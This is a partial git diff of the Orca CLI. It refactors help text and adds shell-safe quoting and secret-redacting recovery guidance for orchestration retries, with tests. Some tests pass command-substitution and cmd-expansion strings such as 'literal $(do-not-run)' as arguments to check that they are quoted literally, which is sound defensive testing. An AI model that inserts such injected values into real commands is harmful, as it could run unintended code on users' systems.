-  uncheck                   Uncheck a checkbox by --element ref
-  focus                     Focus an element by --element ref
-  clear                     Clear an input by --element ref
-  drag                      Drag --from ref to --to ref
-  upload                    Upload --files to a file input by --element ref
-  dblclick                  Double-click element by --element ref
-  forward                   Navigate forward in browser history
-  scrollintoview            Scroll --element into view
-  get                       Get element property (--what: text, html, value, url, title)
-  is                        Check element state (--what: visible, enabled, checked)
-  inserttext                Insert text without key events
-  mouse move                Move mouse to --x --y coordinates
-  mouse down                Press mouse button
-  mouse up                  Release mouse button
-  mouse wheel               Scroll wheel --dy [--dx]
-  find                      Find element by locator (--locator role|text|label --value <v>)
-  set device                Emulate device (--name "iPhone 12")
-  set offline               Toggle offline mode (--state on|off)
-  set headers               Set HTTP headers (--headers '{"key":"val"}')
-  set credentials           Set HTTP auth (--user <u> --pass <p>)
-  set media                 Set color scheme (--color-scheme dark|light)
-  clipboard read            Read clipboard contents
-  clipboard write           Write --text to clipboard
-  dialog accept             Accept browser dialog (--text for prompt response)
-  dialog dismiss            Dismiss browser dialog
-  storage local get         Get localStorage value by --key
-  storage local set         Set localStorage --key --value
-  storage local clear       Clear localStorage
-  storage session get       Get sessionStorage value by --key
-  storage session set       Set sessionStorage --key --value
-  storage session clear     Clear sessionStorage
-  download                  Download file via --selector to --path
-  highlight                 Highlight --selector on page
-  exec                      Run any agent-browser command (--command "...")
-
-Common Commands:
-  orca open [--json]
-  orca serve [--port <port>] [--pairing-address <host>] [--mobile-pairing] [--no-pairing] [--project-root <path>] [--recipe-json] [--json]
-  orca status [--json]
-  orca diagnostics memory [--json]
-  orca agent-context [--json]
-  orca account add [--agent claude|codex] [--json]
-  orca account list [--json]
-  orca host list [--json]
-  orca environment add --name <name> --pairing-code <code> [--json]
-  orca environment list [--json]
-  orca environment show --environment <selector> [--json]
-  orca environment rm --environment <selector> [--json]
-  orca worktree list [--repo <selector>] [--limit <n>] [--json]
-  orca worktree create --name <name> [--repo <selector>|--project <id> [--host <host-id>]|--project-host-setup <id>] [--agent <id>] [--prompt <text>] [--setup run|skip|inherit] [--base-branch <ref>] [--issue <number>] [--linear-issue <identifier-or-url>] [--comment <text>] [--parent-worktree <selector>] [--no-parent] [--run-hooks] [--activate] [--json]
-  orca worktree show --worktree <selector> [--json]
-  orca worktree current [--json]
-  orca worktree set --worktree <selector> [--display-name <name>] [--issue <number|null>] [--linear-issue <identifier-or-url|null>] [--comment <text>] [--workspace-status <id>] [--parent-worktree <selector>|--no-parent] [--json]
-  orca worktree rm --worktree <selector> [--force] [--run-hooks] [--json]
-  orca worktree ps [--limit <n>] [--json]
-  orca file open <path> [--worktree <selector>] [--json]
-  orca file diff <path> [--staged] [--worktree <selector>] [--json]
-  orca file open-changed [--mode edit|diff|both] [--worktree <selector>] [--json]
-  orca terminal list [--worktree <selector>] [--limit <n>] [--include-visual-layouts] [--json]
-  orca terminal show [--terminal <handle>] [--json]
-  orca terminal read [--terminal <handle>] [--cursor <n>] [--limit <n>] [--json]
-  orca terminal send [--terminal <handle>] [--text <text>] [--enter] [--interrupt] [--json]
-  orca terminal wait [--terminal <handle>] --for exit|tui-idle [--timeout-ms <ms>] [--json]
-  orca terminal stop --worktree <selector> [--json]
-  orca terminal create [--worktree <selector>] [--title <name>] [--command <text>] [--focus] [--json]
-  orca terminal split [--terminal <handle>] [--direction horizontal|vertical] [--json]
-  orca terminal switch [--terminal <handle>] [--json]
-  orca terminal close [--terminal <handle>] [--tab] [--json]
-  orca project list [--json]
-  orca project setups [--project <id>] [--host <host-id>] [--json]
-  orca project setup-existing-folder --project <id> --host <host-id> --path <path> [--kind git|folder] [--display-name <name>] [--json]
-  orca project setup-clone --project <id> --host <host-id> --url <clone-url> --destination <path> [--display-name <name>] [--json]
-  orca project setup-create --project <id> --host <host-id> [--setup-id <id>] [--path <path>] [--kind git|folder] [--display-name <name>] [--worktree-base-path <path>] [--git-username <name>] [--state ready|not-set-up|setting-up|error|unsupported] [--method imported-existing-folder|cloned|provisioned] [--json]
-  orca project setup-update --setup <setup-id> [--display-name <name>] [--path <path>] [--worktree-base-path <path>] [--git-username <name>] [--kind git|folder] [--state ready|not-set-up|setting-up|error|unsupported] [--method legacy-repo|imported-existing-folder|cloned|provisioned] [--json]
-  orca project setup-delete --setup <setup-id> [--json]
-  orca repo list [--json]
-  orca repo add --path <path> [--json]
-  orca repo show --repo <selector> [--json]
-  orca repo set-base-ref --repo <selector> --ref <ref> [--json]
-  orca repo search-refs --repo <selector> --query <text> [--limit <n>] [--json]
-
-Selectors:
-  --repo <selector>         Registered repo selector such as id:<id>, name:<name>, or path:<path>
-  --worktree <selector>     Worktree selector such as id:<repo-id>::<path>, name:<displayName>, branch:<branch>, issue:<number>, path:<path>, or active/current
-  --terminal <handle>       Runtime-issued terminal handle returned by \`orca terminal list --json\`
-  --parent-worktree <selector> Parent worktree selector such as id:<repo-id>::<path>, branch:<branch>, issue:<number>, path:<path>, or active/current
-  --no-parent               Force no parent lineage for unrelated worktree creation/update
-
-Terminal Send Options:
-  --text <text>             Text to send to the terminal
-  --enter                   Append Enter after sending text
-  --interrupt               Send as an interrupt-style input when supported
-
-Terminal List Options:
-  --include-visual-layouts  Include tab and pane topology in JSON output
-
-Wait Options:
-  --for exit                Wait until the target terminal exits
-  --timeout-ms <ms>         Maximum wait time before timing out
-
-Output Options:
-  --json                    Emit machine-readable JSON instead of human text
-  --pairing-code <code>      Connect to a remote Orca runtime using an orca://pair?... code
-  --environment <selector>   Connect using a saved environment id or name
-  --help                    Show this help message
-
-Behavior:
-  Most commands require a running Orca runtime. If Orca is not open yet, run \`orca open\` first.
-  Remote runtime access can also be supplied with ORCA_PAIRING_CODE or ORCA_ENVIRONMENT.
-  Use selectors for discovery and handles for repeated live terminal operations.
-
-Agent Sessions And Worktrees:
-  \`worktree create --agent\` creates a new checkout with an agent.
-  To start a fresh agent in the current worktree, use:
-    orca terminal create --worktree active --command "codex"
-
-Browser Workflow:
-  1. Create or navigate:  orca tab create --url https://example.com
-                          orca goto --url https://example.com
-  2. Inspect the page:    orca snapshot
-     (Returns an accessibility tree with element refs like e1, e2, e3)
-     For concurrent workflows, prefer: orca tab list --json
-     then reuse tabs[].browserPageId with --page <id> on later commands.
-  3. Interact:            orca click --element e2
-                          orca fill --element e5 --value "search query"
-                          orca keypress --key Enter
-  4. Re-inspect:          orca snapshot
-     (Element refs change after navigation — always re-snapshot before interacting)
-
-Browser Options:
-  --element <ref>           Element ref from snapshot (e.g. @e3)
-  --url <url>               URL to navigate to
-  --value <text>            Value to fill or select
-  --input <text>            Text to type at current focus (no element needed)
-  --expression <js>         JavaScript expression to evaluate
-  --key <key>               Key to press (Enter, Tab, Escape, Control+a, etc.)
-  --direction <dir>         Scroll direction: up or down
-  --amount <pixels>         Scroll distance in pixels (default: viewport height)
-  --index <n>               Tab index (from \`tab list\`)
-  --page <id>               Stable browser page id (preferred for concurrent workflows)
-  --profile <id>            Browser profile id
-  --show-profile            Include the tab's browser profile in text output
-  --no-ua-spoof             Keep Electron's native user agent for a new profile
-  --format <png|jpeg>       Screenshot image format
-  --from <ref>              Drag source element ref
-  --to <ref>                Drag target element ref
-  --files <path,...>        Comma-separated file paths for upload
-  --timeout <ms>            Wait timeout in milliseconds
-  --worktree <selector>     Scope commands to a specific worktree's browser tabs
-
-Examples:
-  $ orca open
-  $ orca status --json
-  $ orca diagnostics memory --json
-  $ orca repo list
-  $ orca worktree create --name agent-task --agent codex --prompt "hi"
-  $ orca worktree create --repo name:orca --name cli-test-1 --issue 273
-  $ orca worktree create --repo name:orca --name linear-task --linear-issue https://linear.app/stably/issue/STA-335/test-issue
-  $ orca worktree create --name linear-task --linear-issue STA-335
-  $ orca worktree show --worktree branch:Jinwoo-H/cli
-  $ orca worktree current
-  $ orca worktree set --worktree active --comment "waiting on review"
-  $ orca worktree set --worktree active --linear-issue null
-  $ orca worktree ps --limit 10
-  $ orca file open-changed --mode diff
-  $ orca file open src/App.tsx
-  $ orca terminal create --worktree active --command "codex"
-  $ orca terminal list --worktree path:/Users/me/orca/workspaces/orca/cli-test-1 --json
-  $ orca terminal send --terminal term_123 --text "hi" --enter
-  $ orca terminal wait --terminal term_123 --for exit --timeout-ms 60000 --json
-  $ orca tab current --json
-  $ orca tab show --page page_123 --json
-  $ orca tab create --url https://example.com --profile work
-  $ orca tab profile clone --page page_123 --profile work --json
-  $ orca snapshot
-  $ orca click --element e3
-  $ orca fill --element e5 --value "hello"
-  $ orca goto --url https://example.com/login
-  $ orca keypress --key Enter
-  $ orca eval --expression "document.title"
-  $ orca tab list --json`
+const ROOT_HELP_TEXT = [ROOT_HELP_TEXT_PRIMARY, ROOT_HELP_TEXT_SECONDARY].join('\n')
 
 export function printHelp(specs: CommandSpec[], commandPath: string[] = []): void {
   const exactSpec = findCommandSpec(specs, commandPath)
@@ -509,7 +148,7 @@ function formatCommandFlagHelp(flag: string, commandPath: string[]): string {
     return '--parent-current      Use the current linked issue as parent'
   }
   if (command === 'worktree create' && flag === 'parent-worktree') {
-    return '--parent-worktree <selector> Parent selector such as active/current, id:<repo-id>::<path>, branch:<branch>, issue:<number>, path:<path>, folder:<id>, or worktree:<worktreeId>'
+    return '--parent-worktree <selector> Parent selector such as identity:<identity>, active/current, id:<repo-id>::<path>, branch:<branch>, issue:<number>, path:<path>, folder:<id>, or worktree:<worktreeId>'
   }
   if (command === 'orchestration task-create' && flag === 'task-title') {
     return '--task-title <text>  Concise title for the orchestration task'
@@ -577,7 +216,7 @@ export function formatFlagHelp(flag: string): string {
     'no-screenshot': '--no-screenshot       Skip screenshot capture after the operation',
     pages: '--pages <n>           Number of scroll pages',
     'parent-worktree':
-      '--parent-worktree <selector> Parent worktree selector such as id:<repo-id>::<path>, branch:<branch>, issue:<number>, path:<path>, or active/current',
+      '--parent-worktree <selector> Parent worktree selector such as identity:<identity>, id:<repo-id>::<path>, branch:<branch>, issue:<number>, path:<path>, or active/current',
     path: '--path <path>          Path argument for the command',
     prompt: '--prompt <text>        Prompt text for agent-backed commands',
     query: '--query <text>        Search text for matching refs',
@@ -601,7 +240,7 @@ export function formatFlagHelp(flag: string): string {
     'to-x': '--to-x <x>             Destination window-local x coordinate',
     'to-y': '--to-y <y>             Destination window-local y coordinate',
     worktree:
-      '--worktree <selector>  Worktree selector such as id:<repo-id>::<path>, name:<displayName>, branch:<branch>, issue:<number>, path:<path>, or active/current',
+      '--worktree <selector>  Worktree selector such as identity:<identity>, id:<repo-id>::<path>, name:<displayName>, branch:<branch>, issue:<number>, path:<path>, or active/current',
     workspace: '--workspace <selector> Existing worktree selector for automation runs',
     'workspace-status':
       '--workspace-status <id> Board status id (defaults: todo, in-progress, in-review, completed)',
diff --git a/src/cli/index.test.ts b/src/cli/index.test.ts
index 8daf4db772b..1b190d9dbde 100644
--- a/src/cli/index.test.ts
+++ b/src/cli/index.test.ts
@@ -41,6 +41,7 @@ vi.mock('child_process', async () => {
 })
 
 import { COMMAND_SPECS, main } from './index'
+import { formatFlagHelp } from './help'
 import { GLOBAL_FLAGS, specPaths } from './args'
 import { okFixture, queueFixtures } from './test-fixtures'
 
@@ -480,6 +481,7 @@ describe('orca root help', () => {
     const rootHelp = String(logSpy.mock.calls[0][0])
     expect(rootHelp).not.toContain('--parent-workspace')
     expect(rootHelp).toContain('[--parent-worktree <selector>] [--no-parent]')
+    expect(rootHelp).toContain('identity:<identity>')
 
     logSpy.mockClear()
     await main(['worktree', 'create', '--help'], '/tmp/repo')
@@ -504,6 +506,7 @@ describe('orca root help', () => {
     const setHelp = String(logSpy.mock.calls[0][0])
     expect(setHelp).not.toContain('--parent-workspace')
     expect(setHelp).not.toContain('folder:<id>')
+    expect(formatFlagHelp('parent-worktree')).toContain('identity:<identity>')
     expect(setHelp).not.toContain('worktree:<id>')
     expect(callMock).not.toHaveBeenCalled()
   })
diff --git a/src/cli/index.ts b/src/cli/index.ts
index 26cfb8eea49..2a8921a2cdb 100644
--- a/src/cli/index.ts
+++ b/src/cli/index.ts
@@ -18,6 +18,7 @@ import { reportCliError } from './format'
 import { printHelp } from './help'
 import type { RuntimeClient } from './runtime-client'
 import { COMMAND_SPECS } from './specs'
+import { resolveOrchestrationCliExecutable } from './runtime/orchestration-recovery-command'
 
 export { COMMAND_SPECS } from './specs'
 export { buildCurrentWorktreeSelector, normalizeWorktreeSelector } from './selectors'
@@ -149,7 +150,9 @@ export async function main(
           undefined,
           undefined,
           remotePairingCode,
-          remoteEnvironment
+          remoteEnvironment,
+          resolveOrchestrationCliExecutable(),
+          argv
         )
         return client
       },
diff --git a/src/cli/orchestration-mutation-recovery.test.ts b/src/cli/orchestration-mutation-recovery.test.ts
new file mode 100644
index 00000000000..7664cc7ec55
--- /dev/null
+++ b/src/cli/orchestration-mutation-recovery.test.ts
@@ -0,0 +1,269 @@
+import { describe, expect, it } from 'vitest'
+import { runProcess } from '../shared/child-process/run-process'
+import {
+  orchestrationMutationRecoveryError,
+  renderCommand
+} from './orchestration-mutation-recovery'
+import { RuntimeClientError } from './runtime-client'
+
+describe('orchestration mutation recovery', () => {
+  it('queries a known dispatch before issuing the keyed retry', () => {
+    const result = orchestrationMutationRecoveryError(
+      new RuntimeClientError('runtime_timeout', 'request timed out', {
+        orchestrationRequestId: 'request_1',
+        dispatchId: 'dispatch_1',
+        originalCommand: ['orca', 'orchestration', 'worker-start', '--task', 'task_1']
+      })
+    ) as RuntimeClientError
+
+    expect(result.data).toMatchObject({
+      recovery: {
+        orchestrationRequestId: 'request_1',
+        dispatchId: 'dispatch_1',
+        queryCommand: [
+          'orca',
+          'orchestration',
+          'worker-show',
+          '--dispatch',
+          'dispatch_1',
+          '--json'
+        ],
+        retryCommand: [
+          'orca',
+          'orchestration',
+          'worker-start',
+          '--task',
+          'task_1',
+          '--retry-request',
+          'request_1'
+        ],
+        workerDeathInferred: false
+      }
+    })
+    expect(result.message.indexOf('orca orchestration worker-show')).toBeLessThan(
+      result.message.indexOf('orca orchestration worker-start')
+    )
+    expect((result.data as { nextSteps?: string[] }).nextSteps).toEqual([
+      'Run orca orchestration worker-show --dispatch dispatch_1 --json before retrying.',
+      'Run orca orchestration worker-start --task task_1 --retry-request request_1.'
+    ])
+  })
+
+  it('does not invent a dispatch for an old-client-shaped error', () => {
+    const result = orchestrationMutationRecoveryError(
+      new RuntimeClientError('runtime_timeout', 'request timed out', {
+        orchestrationRequestId: 'request_2',
+        originalCommand: ['orca', 'orchestration', 'worker-start', '--task', 'task_2']
+      })
+    ) as RuntimeClientError
+
+    expect(result.data).toMatchObject({
+      recovery: {
+        orchestrationRequestId: 'request_2',
+        retryCommand: expect.arrayContaining(['--retry-request', 'request_2']),
+        workerDeathInferred: false
+      }
+    })
+    expect((result.data as Record<string, unknown>).recovery).not.toHaveProperty('dispatchId')
+    expect(result.message).not.toContain('worker death')
+  })
+
+  it('renders the exact executable and safely quotes original arguments', () => {
+    const result = orchestrationMutationRecoveryError(
+      new RuntimeClientError('runtime_timeout', 'request timed out', {
+        orchestrationRequestId: 'request_3',
+        dispatchId: 'dispatch_3',
+        originalCommand: [
+          'orca-dev',
+          'orchestration',
+          'worker-start',
+          '--task',
+          'task 3',
+          '--comment',
+          'literal $(do-not-run)'
+        ]
+      })
+    ) as RuntimeClientError
+
+    expect((result.data as { nextSteps?: string[] }).nextSteps).toEqual([
+      'Run orca-dev orchestration worker-show --dispatch dispatch_3 --json before retrying.',
+      "Run orca-dev orchestration worker-start --task 'task 3' --comment 'literal $(do-not-run)' --retry-request request_3."
+    ])
+    expect(result.message).toContain("'literal $(do-not-run)'")
+  })
+
+  it('parses legacy command text without losing quoted arguments', () => {
+    const result = orchestrationMutationRecoveryError(
+      new RuntimeClientError('runtime_timeout', 'request timed out', {
+        orchestrationRequestId: 'request_4',
+        originalCommand:
+          'orca-ide orchestration worker-stop --dispatch dispatch_4 --comment "quoted value"'
+      })
+    ) as RuntimeClientError
+
+    expect(
+      (result.data as { recovery?: { retryCommand?: string[] } }).recovery?.retryCommand
+    ).toEqual([
+      'orca-ide',
+      'orchestration',
+      'worker-stop',
+      '--dispatch',
+      'dispatch_4',
+      '--comment',
+      'quoted value',
+      '--retry-request',
+      'request_4'
+    ])
+  })
+
+  it.each([
+    [
+      'gate-create',
+      ['orca', 'orchestration', 'gate-create', '--task', 'task_1', '--question', 'ship?']
+    ],
+    [
+      'worker-retain',
+      ['orca', 'orchestration', 'worker-retain', '--dispatch', 'dispatch_1', '--json']
+    ]
+  ])('replays exact %s argv with the keyed retry', (_name, originalCommand) => {
+    const result = orchestrationMutationRecoveryError(
+      new RuntimeClientError('runtime_timeout', 'request timed out', {
+        orchestrationRequestId: 'request_exact',
+        originalCommand
+      })
+    ) as RuntimeClientError
+
+    expect(
+      (result.data as { recovery?: { retryCommand?: string[] } }).recovery?.retryCommand
+    ).toEqual([...originalCommand, '--retry-request', 'request_exact'])
+  })
+
+  it('reuses the request identity without duplicating an existing retry flag', () => {
+    const result = orchestrationMutationRecoveryError(
+      new RuntimeClientError('runtime_timeout', 'request timed out', {
+        orchestrationRequestId: 'request_reused',
+        originalCommand: [
+          'orca',
+          'orchestration',
+          'worker-retain',
+          '--dispatch',
+          'dispatch_1',
+          '--retry-request=request_reused'
+        ]
+      })
+    ) as RuntimeClientError
+
+    expect(
+      (result.data as { recovery?: { retryCommand?: string[] } }).recovery?.retryCommand
+    ).toEqual([
+      'orca',
+      'orchestration',
+      'worker-retain',
+      '--dispatch',
+      'dispatch_1',
+      '--retry-request',
+      'request_reused'
+    ])
+  })
+
+  it('renders Windows cmd recovery guidance without quote drift or percent expansion', () => {
+    expect(
+      renderCommand(
+        ['orca', 'orchestration', 'worker-start', '--comment', 'literal "quoted" %PATH% & safe'],
+        'win32',
+        { ComSpec: 'C:\\Windows\\System32\\cmd.exe' }
+      )
+    ).toBe(
+      '"orca" "orchestration" "worker-start" "--comment" "literal ""quoted"" "^%"PATH"^%" & safe"'
+    )
+  })
+
+  it('keeps PowerShell and POSIX recovery guidance literal', () => {
+    expect(
+      renderCommand(['orca', 'literal "quoted" $HOME'], 'win32', {
+        ComSpec: 'powershell.exe'
+      })
+    ).toBe("& 'orca' 'literal \\\"quoted\\\" $HOME'")
+    expect(renderCommand(['orca', 'literal $(do-not-run)'], 'darwin')).toBe(
+      "orca 'literal $(do-not-run)'"
+    )
+  })
+
+  it.runIf(process.platform !== 'win32')(
+    'round trips POSIX recovery argv through /bin/sh',
+    async () => {
+      const values = ['with spaces', "apostrophe's", 'literal $(do-not-run)', 'line one\nline two']
+      const command = renderCommand(
+        [
+          process.execPath,
+          '-e',
+          'process.stdout.write(JSON.stringify(process.argv.slice(1)))',
+          ...values
+        ],
+        'darwin'
+      )
+
+      const result = await runProcess({ program: '/bin/sh', args: ['-c', command] })
+
+      expect(result).toMatchObject({ code: 0, stderr: '', timedOut: false })
+      expect(JSON.parse(result.stdout)).toEqual(values)
+    }
+  )
+
+  it.each([
+    [
+      'split',
+      ['orca', 'orchestration', 'send', '--pairing-code', 'split-secret', '--subject', 'status'],
+      'split-secret'
+    ],
+    [
+      'equals',
+      ['orca', 'orchestration', 'send', '--pairing-code=equals-secret', '--subject', 'status'],
+      'equals-secret'
+    ],
+    [
+      'dispatch split',
+      [
+        'orca',
+        'orchestration',
+        'send',
+        '--dispatch-capability',
+        'split-dispatch-secret',
+        '--subject',
+        'status'
+      ],
+      'split-dispatch-secret'
+    ],
+    [
+      'dispatch equals',
+      [
+        'orca',
+        'orchestration',
+        'send',
+        '--dispatch-capability=equals-dispatch-secret',
+        '--subject',
+        'status'
+      ],
+      'equals-dispatch-secret'
+    ]
+  ])('blocks recovery and removes %s credentials', (_name, originalCommand, secret) => {
+    const result = orchestrationMutationRecoveryError(
+      new RuntimeClientError('runtime_timeout', 'request timed out', {
+        orchestrationRequestId: 'request_secret',
+        originalCommand
+      })
+    ) as RuntimeClientError
+    const output = JSON.stringify({ message: result.message, data: result.data })
+
+    expect(output).not.toContain(secret)
+    expect(result.message).toContain('Recovery is blocked')
+    expect(result.data).toMatchObject({
+      recovery: {
+        orchestrationRequestId: 'request_secret',
+        recoveryBlocked: true
+      }
+    })
+    expect(result.data).not.toHaveProperty('originalCommand')
+    expect((result.data as { recovery: object }).recovery).not.toHaveProperty('retryCommand')
+  })
+})
diff --git a/src/cli/orchestration-mutation-recovery.ts b/src/cli/orchestration-mutation-recovery.ts
index 8e4a03f911d..63261561caf 100644
--- a/src/cli/orchestration-mutation-recovery.ts
+++ b/src/cli/orchestration-mutation-recovery.ts
@@ -1,4 +1,12 @@
-import { RuntimeClientError } from './runtime-client'
+import { RuntimeClientError, RuntimeRpcFailureError } from './runtime-client'
+import {
+  recoverableOrchestrationArgs,
+  resolveOrchestrationCliExecutable
+} from './runtime/orchestration-recovery-command'
+import { quoteWindowsCmdArgument } from '../shared/child-process/windows-command-line'
+import { quotePowerShellNativeArgument } from '../shared/powershell-native-argument'
+import { resolveWindowsShellStartupFamily } from '../shared/windows-terminal-shell'
+import type { AgentStartupShell } from '../shared/tui-agent-startup-shell'
 
 export function orchestrationMutationRecoveryError(error: unknown): unknown {
   if (!(error instanceof RuntimeClientError) || !isUnknownMutationOutcomeCode(error.code)) {
@@ -9,16 +17,64 @@ export function orchestrationMutationRecoveryError(error: unknown): unknown {
   if (typeof requestId !== 'string' || requestId.length === 0) {
     return error
   }
+  const dispatchId = typeof data?.dispatchId === 'string' ? data.dispatchId : undefined
+  const parsedOriginalCommand = commandParts(data?.originalCommand)
+  const originalCommand = parsedOriginalCommand
+    ? recoverableOrchestrationArgs(parsedOriginalCommand)
+    : undefined
+  const safeData = { ...data }
+  delete safeData.originalCommand
+  const retryCommand = originalCommand
+    ? [...originalCommand, '--retry-request', requestId]
+    : undefined
+  const executable = originalCommand?.[0] ?? resolveOrchestrationCliExecutable()
+  const queryCommand = dispatchId
+    ? [executable, 'orchestration', 'worker-show', '--dispatch', dispatchId, '--json']
+    : undefined
+  const recovery = {
+    orchestrationRequestId: requestId,
+    ...(dispatchId ? { dispatchId } : {}),
+    ...(queryCommand ? { queryCommand } : {}),
+    ...(retryCommand ? { retryCommand } : {}),
+    recoveryBlocked: !retryCommand,
+    disposition: 'outcome_unknown',
+    workerDeathInferred: false
+  }
+  const retryStep = retryCommand
+    ? `Run ${renderCommand(retryCommand)}.`
+    : 'Recovery is blocked until the exact original command is available; no retry command was emitted.'
+  const nextSteps = queryCommand
+    ? [`Run ${renderCommand(queryCommand)} before retrying.`, retryStep]
+    : [retryStep]
   const message = [
     stripUnsafeRetryAdvice(error.message, requestId),
     'The orchestration mutation may already have taken effect; do not assume it failed.',
-    `Re-issue the same command with --retry-request ${requestId} to recover idempotently. Do not retry this mutation without --retry-request.`,
+    ...nextSteps,
     typeof data?.failedStage === 'string' ? `Failed stage: ${data.failedStage}.` : undefined,
     Array.isArray(data?.residualResources)
       ? `Residual resources: ${JSON.stringify(data.residualResources)}.`
       : undefined
   ].filter((line): line is string => line !== undefined)
-  return new RuntimeClientError(error.code, message.join('\n'), error.data)
+  const recoveredData = {
+    ...safeData,
+    orchestrationRequestId: requestId,
+    ...(originalCommand ? { originalCommand } : {}),
+    recovery,
+    nextSteps
+  }
+  // Preserve the RPC failure envelope so --json callers retain the request id and
+  // runtime metadata while receiving the structured recovery guidance.
+  if (error instanceof RuntimeRpcFailureError) {
+    return new RuntimeRpcFailureError({
+      ...error.response,
+      error: {
+        ...error.response.error,
+        message: message.join('\n'),
+        data: recoveredData
+      }
+    })
+  }
+  return new RuntimeClientError(error.code, message.join('\n'), recoveredData)
 }
 
 function isUnknownMutationOutcomeCode(code: string): boolean {
@@ -36,6 +92,110 @@ function objectRecord(value: unknown): Record<string, unknown> | undefined {
     : undefined
 }
 
+function commandParts(value: unknown): string[] | undefined {
+  if (Array.isArray(value) && value.every((part) => typeof part === 'string')) {
+    return [...value]
+  }
+  if (typeof value === 'string' && value.length > 0) {
+    return parseCommandLine(value)
+  }
+  return undefined
+}
+
+function parseCommandLine(value: string): string[] | undefined {
+  const parts: string[] = []
+  let part = ''
+  let quote: "'" | '"' | undefined
+  let tokenStarted = false
+  for (let index = 0; index < value.length; index += 1) {
+    const character = value[index]
+    if (quote === "'") {
+      if (character === "'") {
+        quote = undefined
+      } else {
+        part += character
+      }
+      tokenStarted = true
+      continue
+    }
+    if (quote === '"') {
+      if (character === '"') {
+        quote = undefined
+      } else if (character === '\\' && ['"', '\\'].includes(value[index + 1] ?? '')) {
+        part += value[++index]
+      } else {
+        part += character
+      }
+      tokenStarted = true
+      continue
+    }
+    if (character === "'" || character === '"') {
+      quote = character
+      tokenStarted = true
+    } else if (/\s/.test(character)) {
+      if (tokenStarted) {
+        parts.push(part)
+        part = ''
+        tokenStarted = false
+      }
+    } else if (character === '\\' && [' ', '\\', "'", '"'].includes(value[index + 1] ?? '')) {
+      part += value[++index]
+      tokenStarted = true
+    } else {
+      part += character
+      tokenStarted = true
+    }
+  }
+  if (quote !== undefined) {
+    return undefined
+  }
+  if (tokenStarted) {
+    parts.push(part)
+  }
+  return parts.length > 0 ? parts : undefined
+}
+
+export function renderCommand(
+  command: readonly string[],
+  platform: NodeJS.Platform = process.platform,
+  env: NodeJS.ProcessEnv = process.env
+): string {
+  const shell = resolveRecoveryShell(platform, env)
+  const rendered = command.map((value) => quoteRecoveryArgument(value, shell)).join(' ')
+  return shell === 'powershell' && rendered ? `& ${rendered}` : rendered
+}
+
+function resolveRecoveryShell(
+  platform: NodeJS.Platform,
+  env: NodeJS.ProcessEnv
+): AgentStartupShell {
+  if (platform !== 'win32') {
+    return 'posix'
+  }
+  return resolveWindowsShellStartupFamily(
+    env.ORCA_TERMINAL_WINDOWS_SHELL ?? env.ORCA_WINDOWS_SHELL ?? env.ComSpec ?? env.COMSPEC
+  )
+}
+
+function quoteRecoveryArgument(value: string, shell: AgentStartupShell): string {
+  if (shell === 'cmd') {
+    // cmd has no single-quote syntax and expands %VAR% inside double quotes;
+    // use the argv encoder that keeps quote parity and escapes percent pairs.
+    return quoteWindowsCmdArgument(value)
+  }
+  if (shell === 'powershell') {
+    return quotePowerShellNativeArgument(value)
+  }
+  return shellQuote(value)
+}
+
+function shellQuote(value: string): string {
+  if (/^[A-Za-z0-9_./:@%+=,-]+$/.test(value)) {
+    return value
+  }
+  return `'${value.replaceAll("'", `'"'"'`)}'`
+}
+
 function stripUnsafeRetryAdvice(message: string, requestId: string): string {
   return message
     .replace(' Restart Orca and try again.', '')
diff --git a/src/cli/root-help-text-primary.ts b/src/cli/root-help-text-primary.ts
new file mode 100644
index 00000000000..6f282c884fd
--- /dev/null
+++ b/src/cli/root-help-text-primary.ts
@@ -0,0 +1,184 @@
+export const ROOT_HELP_TEXT_PRIMARY = [
+  'orca',
+  '',
+  'Usage: orca <command> [options]',
+  '',
+  'Startup:',
+  '  open                      Launch Orca and wait for the runtime to be reachable',
+  '  serve                     Start a headless Orca runtime server',
+  '  status                    Show app/runtime/graph readiness',
+  '',
+  'Diagnostics:',
+  '  diagnostics memory        Collect a memory snapshot for Orca and managed terminals',
+  '',
+  'Agent Discovery:',
+  '  agent-context             Print the machine-readable command schema for agents',
+  '',
+  'Accounts:',
+  '  account add               Add a managed Claude or Codex account on this Orca host',
+  '  account list              List managed Claude and Codex accounts on this Orca host',
+  '',
+  'Skills:',
+  '  skills installed          List installed skill selectors',
+  '  skills share              Publish selected skills behind one unlisted link',
+  '  skills list               List version-matched skill guides bundled with this Orca CLI',
+  '  skills get                Print a version-matched skill guide as Markdown',
+  '  skills install            Install bundled Orca skills globally via the community skills CLI',
+  '  skills update             Update already-installed Orca skills via the community skills CLI',
+  '',
+  'Hosts:',
+  '  host list                 List targetable machines and how to name each one',
+  '',
+  'Environments:',
+  '  environment add           Save a remote Orca runtime from a pairing code',
+  '  environment list          List saved remote Orca runtimes',
+  '  environment show          Show one saved remote Orca runtime',
+  '  environment rm            Remove a saved remote Orca runtime',
+  '',
+  'Environment Recipes:',
+  '  vm recipe doctor          Validate a per-workspace environment recipe',
+  '',
+  'Automations:',
+  '  automations list          List scheduled Orca automations',
+  '  automations show          Show one Orca automation',
+  '  automations create        Create a scheduled Orca automation',
+  '  automations edit          Edit an Orca automation',
+  '  automations remove        Remove an Orca automation and its run history',
+  '  automations run           Run an Orca automation now',
+  '  automations runs          List automation run history',
+  '',
+  'Projects:',
+  '  project list              List durable projects known to Orca',
+  '  project setups            List project host setups',
+  '  project setup-existing-folder Make a project available on a host by importing an existing folder',
+  '  project setup-clone       Make a project available on a host by cloning a repository',
+  '  project setup-create      Create independent project host setup metadata',
+  '  project setup-update      Update project host setup metadata',
+  '  project setup-delete      Remove a project host setup',
+  '',
+  'Repos:',
+  '  repo list                 List repos registered in Orca',
+  '  repo add                  Add a project to Orca by filesystem path',
+  '  repo show                 Show one registered repo',
+  "  repo set-base-ref         Set the repo's default base ref for future worktrees",
+  '  repo search-refs          Search branch/tag refs within a repo',
+  '',
+  'Worktrees:',
+  '  worktree list             List Orca-managed worktrees',
+  '  worktree show             Show one worktree',
+  '  worktree current          Show the Orca-managed worktree for the current directory',
+  '  worktree create           Create a new Orca-managed worktree',
+  '  worktree set              Update Orca metadata for a worktree',
+  '  worktree rm               Remove a worktree from Orca and git',
+  '  worktree ps               Show a compact orchestration summary across worktrees',
+  '',
+  'Files:',
+  '  file open                 Open a workspace file in the Orca editor',
+  '  file diff                 Open a workspace file diff in the Orca editor',
+  '  file open-changed         Open all git-changed files for a workspace',
+  '',
+  'Terminals:',
+  '  terminal list             List live Orca-managed terminals',
+  '  terminal show             Show terminal metadata and preview',
+  '  terminal read             Read bounded terminal output',
+  '  terminal send             Send input to a live terminal',
+  '  terminal wait             Wait for a terminal condition (exit, tui-idle)',
